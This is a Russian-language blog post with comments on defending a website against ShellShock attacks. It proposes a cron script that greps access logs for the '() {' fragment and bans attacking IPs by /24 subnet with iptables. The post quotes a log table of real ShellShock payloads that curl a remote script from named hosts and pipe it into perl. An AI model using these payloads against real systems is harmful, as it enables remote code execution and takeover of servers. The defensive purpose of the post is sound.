Как использовать дыру ShellShock для укрепления безопасности собственного сайта
После того, как в Bash нашли позорнейшую дыру ShellShock, сайты атакуются десятки и сотни раз в день.
Честное слово, надоело в логах каждый день видеть вариации вот такого:
select path,url,hostname from accesslog where url like '%()%';
+----------------------+--------------------------------------------------------------------------+----------------+
| path | url | hostname |
+----------------------+--------------------------------------------------------------------------+----------------+
| node | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 186.202.183.68 |
| node | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 186.202.183.68 |
| node | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 186.202.183.68 |
| node | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 78.129.145.208 |
| node | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 78.129.145.208 |
| node | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 78.129.145.208 |
| node | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl | 208.131.138.50 |
| cgi-bin | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl | 208.131.138.50 |
| cgi-sys | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl | 208.131.138.50 |
| cgi-bin-sdb/printenv | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl | 208.131.138.50 |
| cgi-mod/index.cgi | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl | 208.131.138.50 |
+----------------------+--------------------------------------------------------------------------+----------------+
11 rows in set (0.00 sec)
Почему-то принято делить хакеров на White Hat и Black Hat. По-моему, правильнее делить их на настоящих хакеров и каккеров-имбецилов. Первые сами находят уязвимости, вторые читают о них в журналах для пионеров типа «Каккер», месяц не могут врубиться, зато потом еще 5 лет будут пытаться воспользоваться дырой. Вот и с ShellShock: казалось бы, месяц прошел, все давно пропатчились, а количество атак только возрастает, причем чудовищными темпами. Но не будем отвлекаться.
Как известно, во всем можно отыскать как положительную, так и отрицательную сторону. В случае ShellShock со вредом все понятно — всякие упыри стали ломать сервера, чтобы потом с них атаковать, DDoS-ить и рассылать спам. Но должна же быть и хорошая сторона в появлении ShellShock? И эта сторона есть!
Давайте рассуждать. Чтобы попытаться проэксплуатировать дыру, каккер должен отправить данные, содержащие неизменяемый фрагмент. Как минимум, это "() {". С другой стороны, станет ли кто-нибудь отсылать данные, содержащие эту комбинацию без намерения что-то взломать? Очевидно, что нет. Делаем вывод, что получение "() {" может однозначно трактоваться как сигнал о преднамеренной попытке взлома. Получается, что каккеры сами выдают свои прокси и взломанные промежуточные сайты. Нам остается только собрать реестр таких IP и надежно их забанить.
Для этого пишем простой скрип, использующий всего 4 команды: cat, grep, cut и iptables. Суть проста: берется журнал посещений web-сервера, прогоняется через grep, с помощью cut вычленяется столбец с ip-адресом и все это отдается в iptables для блокировки. Лучше сразу всей подсетью /24. Иронично, что скрип на Bash.
Добавляем в cron и готово — теперь каккеры сами себя блокируют, чем значительно повышают общую защищенность сайта.
Кстати
Интернет-организации часто жалуются, что исчерпаны запасы свободных IP-адресов. Разве сейчас не предоставилась уникальная возможность составить список адресов, с которых ведутся атаки и изъять эти адреса у тех, кто не может защитить и удержать их?
Комментарии
pomodor
22 октября, 2014 - 20:20
В perl-скрипте прописан адрес командного центра. Домен в зоне su. То есть, не составило бы труда либо разделегировать домен и лишить каккеров доступа к ботнету, либо переписать DNS-сервера, взять ботнет под контроль, обновить на протрояненных компах баш и дать команду на самоудаление трояна. Но кому это нужно в России. Насколько я понимаю, лучшие пинкертоны заняты только мочиловом пиратов.
Чингачгук
23 октября, 2014 - 15:53
не все пропатчились, исправьте.
еще лет десять будет дыра
sudo
8 декабря, 2014 - 09:42
У шеллшока несколько вариаций, насколько я знаю.
pomodor
8 декабря, 2014 - 15:44
Не совсем точно попали в слово. Вариации — это когда, например, Брамс берет что-то у Гайдна и исполняет на свой манер. Все в экстазе от высокой художественной ценности переработки. В случае с Bash никакого экстаза не было. С Bash случилось следующее: в нем нашли дыру, причем настолько серьезную, что затыкать ее пришлось впопыхах. Пока затыкали, лопнуло на других участках и говно зафонтанировало уже в нескольких местах одновременно. Подходящее слово — итерация. Лопнуло — залатали, лопнуло — залатали, ... , лопнуло — залатали. На десятой итерации ситуацию удалось взять под контроль и в мире Open Source снова воцарились мир и спокойствие.
Комментировать